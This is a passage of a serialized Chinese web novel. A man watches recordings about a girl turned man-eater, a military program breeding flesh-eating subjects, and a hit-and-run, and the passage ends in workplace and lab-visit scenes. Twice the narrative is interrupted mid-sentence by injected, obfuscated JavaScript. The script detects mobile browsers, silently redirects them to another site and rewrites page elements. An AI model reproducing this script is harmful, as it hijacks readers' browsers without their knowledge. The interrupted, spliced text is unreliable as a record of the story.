哀达上前,住持心慈地抚她的头,往她手里放了一串莲花铃铛坠,哀达举起来摇了摇,清脆静心的铃音让她发出了笑声。 “住持加持过,好好收着,千万别弄丢。”母亲的脸出现在镜头前,双眼是肿的。 哀达不知如何佩戴,所以将莲花铃铛系在自己的头绳上,随着飘逸的金发一晃一晃泛出清响。 叮当——叮当—— 铃铛声声空灵,飘荡在青烟缭绕的钦安寺,回响于昏暗无光的客厅中。 叮当——叮当—— 母亲搂紧了哀达最爱的小熊,泣不成声,哀达戴着莲花铃铛,在佛寺的长廊下飞奔,欢快地笑,回首的一刹,镜头精准捕捉到她瞳孔中划过的一丝绿光。 2051年10月31日,哀达被南陆军方控制 镜头拍摄着一条幽暗的红木长廊,一步一步延向尽头的房间,透过门缝,里面坐着一对金发夫妇,男人揽着憔悴的女人,女人手臂缠着厚厚纱布。 他们对面坐了个衣冠笔挺的高级军官,沙发后立着两名带枪士兵。 “戴维,虽然你已不是我的部下,但发生这样的事,你有义务上报,如果你还把自己看做一名军人。” 男子面如死灰。 “长官,我替我丈夫向您道歉,对不起,对不起,我女儿非常善良,我们也不知道她为何突然性情大变……” “她、她是个好孩子。” 军官直言:“夫人,听说令爱激动之下咬了您,像狗一样?” 女人落下泪来:“不、不是……!” “是的,”男子面容呆滞,“她吃下去了,她看起来饿极了……” 女人绝望地抖唇,哭得肝肠寸断,疯了一样摇头。 “长官,我拜托您,我会关着她,不再让她外出,她只是生病了,那是我唯一的女儿,请您不要带走她。” “若她咬死的只是条狗,我当然不会登门叨扰,”军官站起来,“死的是一名成年男性,想必二位也见过他的样子,没了人样的样子。夫人,您的孩子恐怕出了大问题,我必须带她去安全的地方,二位没有拒绝的权利,请见谅。” 镜头后退。 再后退。 军官开门而出,小熊掉在了地上,画面随之倾倒。 花瓶应声跌落,瓶中盛放的玫瑰坠向镜头,染红了这混乱一幕。 哀达抵触的尖叫声响起。 夹杂着野兽般的怒吼、撕咬…… 以及父母悲恸的哭声。 黑屏。 …… 公冶移动鼠标,点开第二个视频,漆黑的屏幕中同样冒出了一句话: 2051年12月15日,哀达与伊连在半山岛精神康复中心相遇 “你为什么有只熊?” 视频里只有男孩的声音,哀达的镜头对着冰冷的铁栏杆,并未转向他。 “它是我最好的朋友,谁都不能将我们分开。” “那我可以和你做朋友吗?” “我不需要。” “那我可以坐在你旁边吗?” “……请坐吧。” 伊连花了很长时间也没能成为哀达的朋友,不过成功和小熊说上话了,之后几天,伊连每次来找哀达总以小熊为借口。 “你不给你的小熊取个名字吗?” “它是我朋友,你见过谁给朋友取名字?” “也是。”伊连开口大笑,笑得哀达想把拳头塞他嘴巴里。 镜头越来越高,哀达在康复中心日渐长大,她的父母第一年频频来探望,到后来半年一次,再后来,哀达得知自己有了一个妹妹。 哀达十八岁生日这天,伊连编了一个花环送给她。 “别难过,或许你妹妹生病了,你父母要照顾她。”伊连说。 “希望她不要生和我一样的病,我最近感觉自己味觉出问题了,煮熟的食物都不好吃,倒是洋蓟味道不错,以前妈妈总烤给我吃,”哀达赏玩着花环,“这紫色的小花好漂亮,你哪摘的?” 伊连带哀达去看花了,在院子围墙后面,一丛一丛的草叶中开出星星点点的深紫或蓝紫的小花。隔日伊连告诉哀达,这花叫紫露草,是古洛的国花。 “古洛,”哀达说,“我知道这个国家,在爸爸的书房里见过它的版图,据说那里物产富饶,风景特别美。” “你想去看吗?” “我想跟你去,只跟你去。” 伊连闻言一怔。 风过,摇曳的紫露草如一地散落的紫宝石,镜头忽然被衣物挡住,一亮一暗地闪动摩擦,公冶目光淡然,将音量拉低。 2061年9月1日,哀达确认怀孕 镜头里,哀达躺在床上,旁边围着护理师、医生等人。 “十三周。” “那就是五六月份的事了。” “去调监控。” “主任,是我的失误,哀达那段时间心情不好,常和伊连待在一起。” “发育了,有需求正常,不过也确实是我们看顾不周。” “这个孩子怎么办?” “你要她生下来吗,两个疯子的结合物,会生出什么怪胎来。” 那几天,哀达痛到不能下床。流产后,她整个人憔悴了许多,经常拿着成型的胎儿照片看,伊连被特殊区分关了起来,他们好久没见面了。 “我想见他。” 哀达苦苦哀求,被打了一顿。失去伊连的日子,哀达每晚睡不好,某日深夜她在哭,吵醒了隔壁墙的精神病,精神病告诉她,早上听到白衣叔叔谈话,伊连要被拉去枪毙了,他们再也不能见面。 一周后,伊连回来了,带着一脸的伤,他说只陪哀达坐坐,明早要走,哀达问他去哪,他说离开这里,去更好的地方。 围墙边的紫露草凋零了,可他们还是久久望着那里。 “伊连,我们为什么会在这?” “因为我们不正常。” “那如果这个世界上都是我们这样的人,我们是不是就正常了?” “不知道,没见过那样的世界。” “那要不要试一试?” “试一试?” “我和你,我们一起,来重新创造这个世界。” 伊连痴痴地看着哀达,嘴角的淤青令人心疼,他握住哀达的手:“哀达,当初我说想带你去古洛,不是假的。” “我知道,”哀达站起来,朝围墙走,“我也想出去,去任何地方,第一站就是古洛,我想知道书里写的手拉手公路到底多长,想去看西北的红枫,去看山水富饶的灯港……” “我带你走。” “你带不走我,你要死了。” 伊连坐在台阶上,静得像块路边的石头。 “我不正常,”哀达说,“我每晚看着我们孩子的照片,我肚子好饿,那个孩子真小,小得我想一口吞了它,伊连,对你们而言,我不正常。” “你又饿了?” “不,不是‘又’,我饿了好久,好久了,我的餐盘里每天都是尸体,以为煮熟了,炸透了,它们就不痛吗?那无非是二次伤害,比洋蓟还难吃,我快窒息了,所以看到这里的一草一木和紫色的小花朵,我又能呼吸一点,但也只是一点点,其实,我知道我最需要的是什么,也有预感迟早有一天我会被放弃治疗,我即将面临真正意义上的死亡,和明天的你一样。” “可是伊连,我还不想从这个世界中脱离。” “我还没有探索够。” “我不想被他们定义为‘可以去腐烂了’的物质。” “别这么说!”伊连上前紧紧抱住哀达,“别这么说,也别这么想,我不希望你这么痛苦,哀达,我想帮你,我真的好想帮你!” 哀达举起手里的紫露草,那是她拨开草丛发现的最后零星一朵,她把它掐了下来。 “那年,海洋里失去了一次鲸落……”哀达抬头,碧绿的树影在她的瞳孔中疯狂生长,“那年,我还没理解他们对我的爱,原来叫亲情,我没能博得一个毫无血缘关系的陌生人的怜悯,我伤害了他,做了错误的选择……” “伊连,我学到了很多,即便是在这里,我也学到了很多,足够了,可惜我们的孩子夺走了我太多东西,我的这具身躯快不行了。” 伊连哽咽:“不,你不要死,我也不想死,我们逃吧,哀达。” “伊连,你爱我吗?” “我当然爱你。” “你想出去吗?” “我想带你出去。” “真的吗?” “真的,真的!我绝对不会再放开你!” “那么……”哀达含泪带笑,双唇附到他耳畔,“你吃了我吧。” 伊连松开手,近距离注视哀达的瞳孔。 “伊连,我的伊连,”她咧开嘴,倾注所有感情,对他笑,“吞噬我吧。” “然后,我们就会永不分离了。” 2061年9月21日,9:00PM,半山岛精神康复中心发生喋血事件 那一晚,帕港半山岛区警铃大作,彻夜无宁,牢房的血流到了尽头,总军士长暴打了十数通电话,把科万从他老婆身上强拉了下来。十点前,由科万率领的阿瑞斯特种部队包围康复中心整座大院,伊连的危险指数在天明之前直接越过批示连升三级。 伊连想理解哀达的心情,想包容哀达的伤痛,可他从未感同身受过,今夜他终于做到了,他切实地和哀达融为了一体。 “半山岛太冷,我救你出去。” 他咬断一名特装士兵的脖颈,利齿间喘出热气,哀达饥肠辘辘的胃袋犹如气球在膨胀,挤压他的心脏。 三支突击队全部沦陷,支援小队仅凭枪火示威,不敢踏足大院一步,科万无法理解眼前这头生物,开启一场杀戮对他来说就如同喝下一口水。 伊连没有让一颗弹火伤到哀达的小熊,凌晨五点的风格外幽冷,携来礁石的气息,伊连面带鲜血与微笑,走出了禁锢他十一年的半山岛。 他翻出帕港,路过野马洲,带着哀达望了望东方的玫瑰港,心想等出了圣希亚州,就离古洛不远了。 最后,他浑身是血地倒在了一座寺庙前。 一碗水端到唇边,伊连张唇咽了口,总算有活过来的迹象,他抱紧小熊,勉强侧首,余光瞥到烟青色的袍袖,一只枯手覆过来,抚上他的额头。 2061年9月28日,8:45PM,历时七天,军方找到他时,他正披着破烂染血的青色袍子,赤脚从钦安寺后山走出来,那夜的山风刮得疾猛。 寺庙空得似个大窟窿,三级军士长怒意勃发,要冲上去把伊连打成筛子,被科万抬臂制止。 “听说那晚打扰你做|爱了,长官。” 科万的面庞沉着坚毅,情绪不明的笑意自眼角细纹里略微挤出:“朋友,可以告诉我,你今晚享用了几个吗?” “不记得。” “那真是可惜了,不过享用的第一个可怜人,你总该没忘吧?” “当然,”伊连耸肩,笑着,“你也知道的。” “是哀达·海默?” “不,是一个没了人样的人。” 呼—— 科万绷紧了下颚,与高处的伊连对视,夜色下的竹林簌簌颤响,锋利的叶片被月光映得惨白,犹如他的眼睛。 次日,太阳照向这座山,野竹林或折或损,死了大半,山头狼藉光秃,在往后一年的时间里都没能抽出一棵新芽。 2066年11月,政坛生变,古南两国以最快速度从蜜月到决裂,正式反目成仇。 2067年12月7日,大雪,一架大型客机在灯港白鸟县坠毁,附近降落了几名生还者。十日后,空难的大火飘出了枪弹味,被风携到了沿海北岸,手拉手边境国道驻守官兵武警全数离奇惨死。12月24日,灯港腹地被攻,狮城病墟等各辖区火速受难,尸体堆成高山,与此同时,古洛政府恍如隔世中,没传来一点保家卫国讨伐强敌的呼声。 平安夜事变宣告着古洛未战先败的事实,拉开长达十年的黑色时期。 装甲输送车在硝烟弥漫的病墟空镇停下,后门打开,刺眼的光投来,武装队伍有序下车。 画面清晰了许多,但拍摄的并不算美景,在他国教科书中被誉为“循环不息的母亲大地”灯港变得满目疮痍,煤灰与战火胶着,时不时卷起一股黄沙。 “打仗果然和旅游不一样啊。” “干活吧,废那么多话。” 士兵戴着防毒面具,半蹲下来,搓了把尘土:“病墟,地如其名,果真穷山恶水。” 地面坑洼,镜头不小心晃了下。 “喂,诺森,别傻愣着了,首长找你。” 持镜头的人应了一声,转身往基地方向去。 下午了,科万在喝花茶,诺森敲门进去,与他交谈了一阵,公冶从对话中得知伊连被冰封在名为“地舱”的设施里,目前已跟随部队运至灯港地下,而他的精神体一直通过408号生命设备和南陆军方对话。 “这家伙最近成熟得飞快,我认为时候差不多了。” “您的意思是?” “出发前我就接到了这项任务,不管怎样,诺森,你要协助我。” “我能做什么?” “我知道你医术精湛,挑选一些人来试试,失败也不要紧。” “我……” “听着,推辞的话我一个字也不想听,哀达·海默是我一辈子的污点,我不希望伊连也是如此,诺森,我相信你,你也要相信你自己,加油干。” 谈话结束,诺森出去后在门口逗留了会儿,透过虚掩的门向内观望。 伊连的脑部联通数据,神经元正在活跃,科万向屏幕举杯:“小子,你以为在半山岛爱上你的那个女孩真的是哀达·海默 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“她的命现在在我手里!”科万居高临下地藐视他,“榴弹、染病……我可以编造各种合理到无懈可击的理由宣布她死亡,王室里的女人多得是,谁都能繁衍后代,不缺她一个。” 萝娜眼前发黑,痛得无法呼吸,血从额角流下。 诺森攥紧了拳头,气得咬牙发抖。 她是他的软肋,之后,诺森再没反抗过军方的命令,至2075年7月,第一个实验体奇迹般地培育成功,此人名叫白霄。 2076年圣诞,侵略驻军在灯港的英雄广场大肆办节,诺森脸色铁青地驱车跨越两县赶至酒肉横流的盛筵场地时,科万已酩酊大醉地倒在桌布下,镇上的女人露着死灰一般的目光,看到诺森要上去为他倒酒。 排除唯一成功的婴儿实验体,剩余的成功实验体屠杀了基地值班人员,造成二十二人重伤,十九人当场毙命的伤亡局面。科万长吁一口气,好在精锐部队那晚均在广场大宰大吃,至于死去的同胞,披面国旗,发还回国便是。 “你没事就好!”科万拍拍诺森的肩,“听说带头的是乌壑?” “是的,白霄也受伤了。” “哦?他们还自相残杀?” “是的……” “嗯……”科万摸摸胡渣,“有这等事,看来得改变一下策略了。” 诺森失魂落魄地回到房间,萝娜坐在床头,忧虑地望着他。 他们心知肚明,白霄的出现预示着未来将一切顺利,成功的实验体会如雨后春笋争相冒出,古洛即便打赢这仗,也不一定能迎来好的结局。 “萝娜,你回国吧。” “你觉得我能撇下你走吗?” 诺森黯然一笑:“我只是家族中可有可无的边缘人罢了,你不一样,你还有家人在等你,如今我能培育实验体,科万需要我的力量,我可以和科万交涉放你回家。” “诺森,我不能一走了之,我对所有逝去的以及存活的实验体,都抱有强烈到刻骨的愧疚感,他们变成这样……是因为我们。” 诺森心在滴血,咬紧牙关。 “我不回去,科万不能阻止我,你也不能。” 萝娜握紧了手:“既然没有挽回的余地,那就只能面对,再惨痛也要面对,留下来是我自己的决定,是出于我自己的本心。” “诺森,事已至此,你还想赶我走吗?” 说完,她转身,主动捧住诺森的脸,深深吻了上去。 实验仍需继续,诺森在往后的研究中有了新发现,写进了日记里——成功的实验体数量有上限,第十一名成功实验体诞生后,前面十人中必然会有一名实验体发生异常迅速的病变衰竭,抑或在数量饱和的情况下,再也无法培育出新实验体。 “十”,那不是单纯的数字了,那是个十字架,牢牢钉在诺森的背上。 “十个,太少了,这不是我们的上限,而是它的上限。”科万盯着地舱中长眠的伊连,否决了这项现实。 消息递回母国,发来新的任务,要求诺森着手从目前十名实验体身上开展干细胞提取,根据他们强大的基因组织向下创造新型实验体。 “接下来诞生的怪物,就是他们的后裔了吧。”科万满意地微笑。 至2077年年底,一共40名实验体,被关押在灯港病墟地下防空洞中,偶尔丢点野物进去,吊着他们的命。 诺森越发不安。 “成功了……我不想的……原谅我……成功了……为什么……为什么……” 他吃不下饭,喝不下水,每晚被防空洞中断断续续传来的风声惊醒。 “不,我干了什么——” 他又被噩梦惊醒,抱头大喊,然后再也睡不着。他开始害怕天亮,他不要去实验室,长期的精神折磨快使他不正常了,那些噬人的怪物是他这些年一手创造出来的,他清楚这代表着什么—— 古洛的未来。 他可能创造了……古洛的未来。 2078年7月30日,烈日下的灯港犹如一口皮开肉绽的蒸笼,新一轮战争在蝉鸣中爆发。 镜头激烈晃动,是诺森在跑,凄厉的惨叫夹杂枪击声在尽头狂响,有军兵大喊开火开火,一簇簇血光映溅在通道严丝合缝的金属壁上。 “该死……”诺森毫不犹豫调转方向,逮住人就问,“首长呢?!” 科万死在喝下午茶的办公室里,胸口被捅了一个贯穿伤,诺森赶到时,一名白皮肤的异国士兵正往科万的手臂注射药物。 “你在做什么?!” 士兵抬头看见来人,顿时露出恐慌之色,叫道:“Dr.Sinclair……”他连忙丢掉手中注射器,“Itwasn''tme……” 诺森跑上去检查注射器,愤怒地拉起他质问:“Whyareyoudoingthis?!” “Iwasjustfollowingorders!” 士兵受了什么刺激般大力挥开他的手,诺森差点被挥倒。 “Whoputyouuptothis?” 士兵流下绝望的泪。 “Sorry……” 他一步步后退,扭头跑了,诺森只发怔须臾,回神后立即搜出办公桌抽屉里备用的手枪,朝科万的脑门补了七发。 “饶恕我。”枪口冒烟,诺森手抖得不停,还是把弹匣里的子弹打光了,他带上最后一把装弹的枪,夺门而出,朝地下跑去。 一路都是喘息声。 门那边传来嚎啕哭声,诺森狼狈地摔了一跤,爬起来冲进房间,萝娜满头是汗地靠在床头,怀里抱着刚出生的小婴儿。 “是个男孩……”萝娜惨白的双唇动了动,拼力朝他微笑。 诺森单手拂开她的发丝:“对不起,我……我差点失去你。” “不要道歉,”萝娜摸着他手臂,“好冷,你去地舱了?” “我没能靠近,那里出事了,科万和它的交涉应该失败了,我猜测伊连的身体恐怕已逼近极限,它需要新的能源体。” “不能放它出来!” “萝娜,我没办法,”诺森说,“我要活着,我要赎罪,我需要时间,请你理解我的自私和胆小,眼下我还不能冲去最前面,我只能放任那四十人,他们有自己的意识与思想,他们的人生是他们自己的,而我早在一开始就毁了他们,此后他们的每一场杀戮,都有我一份罪。” 诺森咬了咬牙,颤声说:“我……会用我的生命,向这个国家赔罪。” “我陪你,”萝娜握住他,“我和孩子都陪着你。” 头顶响起爆炸声,流星一般的燃|烧|弹从狭窄的气窗中一明一灭地划过。 诺森站起来:“战争失败了。” 萝娜看向乱动的孩子:“不是失败,是结束了,有人赢了。” 诺森面容难掩痛色。 “能逃避就好了,可我知道自己办不到,”萝娜说,“所以,我会用这双眼亲自见证这一切,我相信我能勇敢地活下去,也同样能无畏地直面死亡。” 古洛的军队打了过来,他们匆忙带孩子逃离,销毁所有证明身份的东西,镜头刚好扫过桌上一份名单,公冶按下暂停。 名单被完整地截取到,有些模糊,不过字迹皆能辨识: 【厄枯莎人种培育成功名单】 2075年7月5日,培育成功,实验体:白霄,现年20岁 2076年3月3日,培育成功,实验体:乌壑,现年19岁 公冶浏览着每一行日期、每一个名字,难以冷静的目光仿佛在祈祷什么,下一秒就认命般冻结在第三行文字上—— 2076年4月1日,培育成功,实验体:清绝,现年0岁 98. 狼尾 太阳落山了,没有开灯的客厅暗如深海,淹没了一切声息。 邓烟雨还没有回来。 公冶渡莲关掉视频,靠着沙发,头静静地痛着。 他没办法一下子消化那么庞大且骇人的“历史遗留问题”,就像视频里的诺森一样,诺森需要时间,他也同样需要。 名单中间的信息比较模糊,依稀能看到“谈”、“尹”、“黛”等字。倒数第二行——“2076年12月31日,培育成功,实验体:邓珊,现年32岁”被寥寥一笔划掉了,最后一行的信息是: 2077年1月1日,培育成功,实验体:楼霞,现年30岁 实验体之间也存在激烈的竞争,十人中,只有邓珊的基因输给了楼霞,因此她被取代,踢出“十大姓”。 清绝那时候只是个小婴儿,历经一轮又一轮的“十大姓”大换血,她的基因没有输给任何一位后来者。 不知不觉间,公冶已经把前三个视频都看完了,还剩一个。他现在就像完成任务似的,对第四个视频敲了双击。 没有大海,没有寺庙,没有半山岛和战败的灯港……画面焕然一新,镜头呈现出一条空旷的马路,旁边一排行道树。 这不是行车记录仪吗? 公冶正疑虑,视频里传来对话声: “怎么样,忠云,合作吧,我帮你搞定江邂月,你给我灯芯。” “我没兴趣。” “喂喂,你以前可不是这样的,这次是为了什么?你在害怕吗?” “我如今和你们不再一样,自然珍惜这条命。” “原来是顾虑这一点,放心放心,我会保你周全。” “洛肯,我不信任你,”邓忠云侧首,黑眸沉沉盯着驾驶座的男人,“你也不必羡慕我,更不用把谎言粉饰得如此冠冕堂皇,我不会帮你。” 洛肯捏紧了方向盘,沉默许久,对他露出个笑:“你女儿几岁了?” 车内温度仿佛瞬间降至冰点,邓忠云抬起眼皮,投去极淡极冷的目光,虽然是一双寻常的黑瞳,可洛肯还是想起了往昔,不由得一抖。 “妈的,别逼我了……”洛肯煎熬地碎碎念,像一颗被撑到临界点快要爆炸的气球,转眼崩溃,抬手怒砸方向盘,“灯芯到底在哪!?告诉我!” “我不知道。” “不要再骗我了!!你就不怕我把你的秘密泄露出去——” “是吗,就像害死黛远一样,这次要用同样的方式来对付我?” “……” 狂躁的叫嚣戛然而止,在一片死寂中,公冶只能听到从副驾驶传来的,一名成年男子拼命压抑内心的愤恨而发出的颤抖的呼吸声。 “觉得杀死一个顶级美食家特别光荣是吗?”邓忠云极力忍耐着,“我曾经帮过你一次,正是因为那一次,主席狠下心杀了黛远,当着我和清绝的面。我抱着他的尸首,跪在悬崖边,吹了一夜的风,那一夜你在哪?在睡觉吗?” 洛肯嘴唇僵硬地扯了扯。 “我和你,都是害死黛远的凶手。” 洛肯说不出话,脸色难看地低下头。 “可我为什么要帮你?”邓忠云反问自己,“我们到底不一样。” “无论往后,发生什么,你就算变成了现在的我——” “我们也是不一样的。” 凌乱的金发遮盖眉眼,他埋首咬牙。 “洛肯,你只是组织里一个暗务,主席也未曾限制你结婚生子,你同样能过上正常人的生活,肉吃腻了,就饿自己两天,忍一忍,这辈子就能活完,”邓忠云推开车门,说,“至于其他的,你想也不要想。” 马路的风吹起邓忠云额前的黑发,他就像一个普通人,抬着头走在路上,和陌生人擦肩而过,没有谁露出惧怕的神色,没有谁在背后偷偷议论,他不被任何人在乎,不被无缘无故地憎恨,他那么平凡而自由地活着…… 那么得…… 轻视我。 洛肯哈的一声,笑了。 “邓忠云,是你逼我的。” 车子轰然启动,洛肯一脚将油门踩到底,邓忠云听到声音回头,SUV威猛的车身利剑一般蹭着他疾驰而过。 行车记录仪下,这辆车的行驶路线非常恐怖,横冲直撞地向前乱开,红灯也没有停,一闪而过的“流枫路”路牌映入公冶渡莲的眼帘。 前方有个公交站台。 几个人在那里等车,有个高挑的女人拎着蛋糕在打电话,是金曦,旁边椅子上坐着个小女孩,她穿天蓝色的羽绒服,头发卷卷的。 这个小女孩…… 公冶瞪大了双眼,心脏骤停。 车子仿佛失去了控制,朝小女孩疯狂撞去,女孩看到了,跳下椅子,车子拐弯后继续轰油门,蛮牛一样狠撞上去。 女孩飞去了空中,她的血溅在挡风玻璃上,像一道致命的血刃,刺进了公冶的心脏! 视频结束。 嘀哩哩—— 门口响起解锁声,邓烟雨回来了。 “阿冶,你在家吗?” “青钱路上新开了一家卖可露丽的店,我和威凤去吃了,回来晚了,”邓烟雨边说边把灯打开,换拖鞋,“你在家怎么不开灯呀?” 公冶合上笔记本电脑,怔怔望向邓烟雨。 “怎么了?”邓烟雨走过去,“休息一天怎么样?” “……已经没事了。” “家里好干净啊,你打扫了?”邓烟雨笑着揉揉他的脸,“要表扬你,我去炖汤给你喝哦。” “……好。” 公冶快忘记要怎么呼吸了,等邓烟雨去了厨房,他手一松,笔记本顺着毯子滑到了地上。 晚饭期间,邓烟雨和他说了会儿学校的事,他应了几声,才问:“小雨,你腿上的疤是小时候出过车祸留下的?” 邓烟雨夹了块山药,嚼着说:“是啊。” “肇事司机抓住了吗?” “没有,”邓烟雨说,“警察后来在一处断崖下找到了车子,已经摔得破破烂烂了,里面没有人,怀疑是坠海了。” “然后就结案了?” “对啊,就这样结案了,”邓烟雨舀汤,“你怎么突然问起这个?” 公冶暂时没有想好怎么解释,便用两句玩笑话遮掩过去了。 邓烟雨打量他:“你今天不对劲呀……看恐怖片了?” “没有,我一个人不敢看。” “瞎说,上次从你电视机下面翻出那么多妖艳的女鬼。” 一提鬼片,公冶就感觉背上发凉。可能人的心境发生改变就在一瞬间,次日上班,他把那堆碟片带去了单位。 “给你。” “天呐,”蝶衣眨巴着亮闪闪的大眼睛,欢喜地抱紧盘盘们,“影青组长你又做人了,这么多宝藏片子……这不是我给你的吗?” “还有几部新的,都送你了。” 金刀忙工作的间隙问了一声:“你断舍离?” 公冶点头。 “青,小马找你。”杀萝一阵风似的卷来,丢下一句话,就卷去自家组长的工位上掏零食。 她值完夜班,肚子饿了,自己的战备粮吃完,就盯上了别人的免费午餐,掏着掏着,还不忘回头对影青扬扬下巴:“别告诉飞阙哈。” 一本文件啪地打在杀萝的脑袋顶,声音清脆,是颗好头。飞阙非常准时地出现在杀萝身后,冷冷垂目: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579351|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “最后一包了,不准拿。” 杀萝:“嘤。” 公冶目光微微一定:“换发型了?” “啊?”飞阙摸着后颈,染成银色的狼尾湿了一片,她情绪淡淡,“哦,洗了把脸,头发弄湿了。” “走了。”公冶往门外去,飞阙叫住他:“哎,拿走,你们的。” 她一边盯着杀萝把零食放回工位,一边头也不回往后一抛文件,公冶背对着飞阙,脚步不停,扬手接住。 “传个资料都那么默契,”蝶衣收好碟片,“他俩以前经常一块出任务,我以为影青在追求飞阙。” 斗香捏着笔,也没写字,偷偷去看暮火,暮火给她一个“别管”的眼神,无奈地摇了摇头。 “追求?”金刀摆手,“算了吧,我家哆来咪都比他会追球。” 极乐抱臂瞧过来:“哆来咪是谁?” “我家金毛。” 极乐:“……” 刺舟从资料山后冒头:“拿我组长跟狗比?” “你说是不是吧,出个现场,尸体都比飞阙吸引他。” 太有画面了,刺舟愣了半天,无言以对,极乐咬着芋头条替他说:“小心让飞阙听到,你要完蛋。” 飞阙戴上警用装备,路过他们,一贯凌厉的眼神此刻绵绵如清溪:“我有女朋友了,影青也是,麻烦尊重一下我们吧,别拿我们八卦。” “噢噢好……” “……” “啊??” 所有人起立:“你有女朋友了?!” 杀萝歘一下撕爆了零食包装:“我的天!姐!你是弯的?!” 飞阙:“……” 飞阙:“你,明天赔我十包。” “什么?哎呀!我不是故意的!组长,组长组长对不起!十包太贵啦你的零食都是进口的我赔不起呀组长组长……” 斗香指尖发热,放下笔,一头磕在桌沿上,大概是不想让大家看见自己急剧升温的脸。 而暮火目睹了全过程。 不,会吧? 暮火打字速度变慢了,回神才发现写给领导的邮件打了一堆问号,他赶紧按删除键,为了确认,再一次观察斗香,又看了看飞阙。 周围还在吵吵闹闹,没有一点上班的气氛,暮火邮件写了半天也没发出,最后默默离开工位,决定去洗把脸。 周六,GS总部实验院区。 邓烟雨拨了拨头发,借大楼的玻璃墙又检查了一遍——扎高的丸子头,玳瑁色的圆镜框,鼻梁脸颊都打了阴影,显得整张脸特别小巧。 小鸭子衬衫,牛仔背带裤,洞洞鞋。 这是庆威凤告诉她的庄缡缡平常的穿衣风格,和她的风格误打误撞——完全相反。而且她从来不穿洞洞鞋,感觉走路时鞋子宽大不跟脚,好别扭。 邓烟雨点开二维码,闸机上一刷,屏幕亮起庄缡缡的头像和姓名。 “欢迎。” 闸机开启,邓烟雨若无其事地进入,因为走太急,不跟脚的洞洞鞋掉了,她又返回去穿上。 我就是庄缡缡,我就是庄缡缡,我就是庄!缡!缡! 她心底一个劲默念,看到有科大的学生在前面,加快脚步啪叽啪叽地跟了上去。 没问题的,我很像,亲妈来了都认不出我! 十二分钟后,她站在一名穿白色制服、戴白色口罩的志愿者面前,紧张得冷汗都挂了下来。 学生们聚在前面,听小马和顾令萍开场,两三名志愿者分散在后方,偶尔和旁边提问题的学生交流,只有邓烟雨双眼发黑双耳发蒙,和某人面对面,死死低着头。 公冶渡莲不可置信地看着她,口罩后震惊的表情都快遮不住。 99. 裂痕 “目前来看,思泊病毒尚无完全治愈的方法,但可以通过系统治疗使病情延缓发展。本次参观我会全程陪同,请同学们务必跟紧我,不要随意走动到不相关的地方,接触或者碰坏任何实验设施,我们会将情况直接向贵校反应。” 大家点了点头,小马合上文件夹,带领同学们前往影像区。 “这里有层台阶,大家注意脚下。” 邓烟雨面前的人影动了,灯光再次照耀到脸上,她长吁一口气,跟着大部队往里走。 经过转角时,旁边候着一名白衣志愿者,似乎是殿后在确认人数。她埋头快步经过,后衣领忽然被提起。 “哎呀。” 邓烟雨像只小奶猫一声惊呼,就被提到另一条无人的通道上。 四下安静得可以听见彼此的脚步与呼吸声,熟悉的身影笼罩而下,她不得不背贴墙壁,被一条手臂困于方寸之间。 邓烟雨可爱地仰起头,朝他嘿嘿一笑:“那个……虽然被你壁咚我很开心但这个场合是不是不太好哇……” “你也知道?”公冶忍无可忍地质问她,“你为什么会在这里?” “这这这、这事说来话长。” “那就长话短说。” “嘤。” “别卖萌!”公冶气得不轻,“小雨,你最好解释清楚,别告诉我你转学去科大了。” 邓烟雨一副犯错了的表情,两根手指头对对碰:“我用了威凤朋友的朋友的名额,所以才能进来的。” 公冶呆滞几秒,伸手,把夹在她胸前的参观人员姓名牌拿起来,一看: 庄缡缡 歌华科学技术大学 公冶咬牙切齿:“邓,烟,雨。” “对不起!对不起对不起对不起对不起!” 邓烟雨双手合十举过头顶:“我错了我真的错了我再也不敢了。” 公冶放下她的牌子:“庄缡缡呢?” “她不愿意来了。” “所以把名额一送再送,最后送给庆威凤了?庆威凤给你了?” “是滴……” 公冶渡莲大概是真的生气了,眼中怒意未减,直接背过了身。邓烟雨从没见过他这么严肃冷漠的样子。 “阿冶我错了……你不要生气了……” “这个庄缡缡有没有常识?这种名额也可以乱传乱给!” 以为他要说自己,没想到说的是庄缡缡。 邓烟雨小声解释:“她说不想浪费这个名额……” 公冶冷静后转回来,从裤口袋里掏出口罩:“戴上。” 邓烟雨麻溜戴上:“所以我可以继续跟着你们参观了?” “只能跟着,现在让你出去算什么事,我能编什么理由。” “我拉肚子。” “这里有厕所。” “我来例假没带卫生巾。” “这里有女同志。” “我旧疾复发了。” 公冶点亮平板,手速飞快滑到庄缡缡那一页,往邓烟雨面前一怼:“她的各项信息,过敏史,我们都有,你看看吧,编个什么合适。” 邓烟雨被平板闪到了,用小拇指拨开它,朝公冶讨好地笑着:“你工作的样子好帅呀。” 公冶不为所动。 邓烟雨楚楚可怜地求他原谅,最后没办法了,喊了声:“老公。” “……” “你叫我什么?” 他俯身靠近邓烟雨,邓烟雨退无可退,索性闭眼:“有监控啊有监控!上班时间不能这样啦!” “想什么,睁开眼睛。” 于是天真的邓烟雨一睁开眼,就被他弹了个脑瓜崩:“啊呜!” 她泪汪汪捂着额头,瞪他,公冶后退一步,单手插兜,看着邓烟雨:“小马哥说的,你听进去了吧。” 邓烟雨愣了愣,猛点头:“嗯!我跟紧你!和小马哥!” 公冶气得皱眉,挥手:“走吧走吧快跟上。” “怎么了?” 一道女声响起,顾令萍从转角的阴影里走了出来,公冶立刻挡住邓烟雨,手快扯掉她胸前的姓名牌。 邓烟雨的目光在这个女人的面容上停留了一瞬。 妆面真精致,但不化妆应该更好看吧,她年轻时肯定超级漂亮。 “发生什么事情了?”顾令萍在他和邓烟雨脸上来回扫视,“你们在这里干什么?” “这名学生的姓名牌掉了,我在帮她找。” 邓烟雨愣了一下,低头看自己左胸口,呀!真的不见了! 